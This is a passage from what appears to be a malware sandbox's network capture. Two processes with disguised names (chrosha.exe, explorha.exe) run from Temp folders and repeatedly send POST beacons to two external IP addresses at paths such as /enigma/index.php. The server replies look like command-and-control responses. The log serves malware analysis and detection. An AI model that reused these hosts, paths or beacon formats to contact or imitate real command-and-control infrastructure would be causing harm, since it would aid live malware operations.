1140	192.168.2.5	50994	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:13.079648972 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:13.330490112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.5	50995	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:13.181581020 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:13.428740978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.5	50996	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:13.681881905 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:13.931174040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.5	50997	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:13.695239067 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:13.946455002 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.5	50998	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:14.202203035 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:14.456444025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.5	50999	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:14.292876959 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:14.543880939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.5	51000	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:14.795607090 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:15.046539068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.5	51001	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:14.823648930 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:15.071965933 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.5	51002	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:15.323409081 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:15.573204994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.5	51003	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:15.396133900 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:15.640647888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.5	51004	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:15.888179064 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:16.135715961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.5	51005	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:15.931210041 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:16.179217100 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.5	51006	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:16.431946039 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:16.685324907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.5	51007	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:16.496136904 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:16.743957996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.5	51008	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:16.990781069 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:17.236195087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.5	51009	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:17.037487984 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:17.281054974 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.5	51010	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:17.535883904 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:17.788589954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.5	51011	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:17.589005947 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:17.833724022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.5	51012	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:18.087223053 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:18.341687918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.5	51013	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:18.154568911 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:18.405741930 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.5	51014	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:18.657481909 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:18.910665989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.5	51015	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:18.696407080 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:18.943959951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.5	51016	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:19.196639061 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
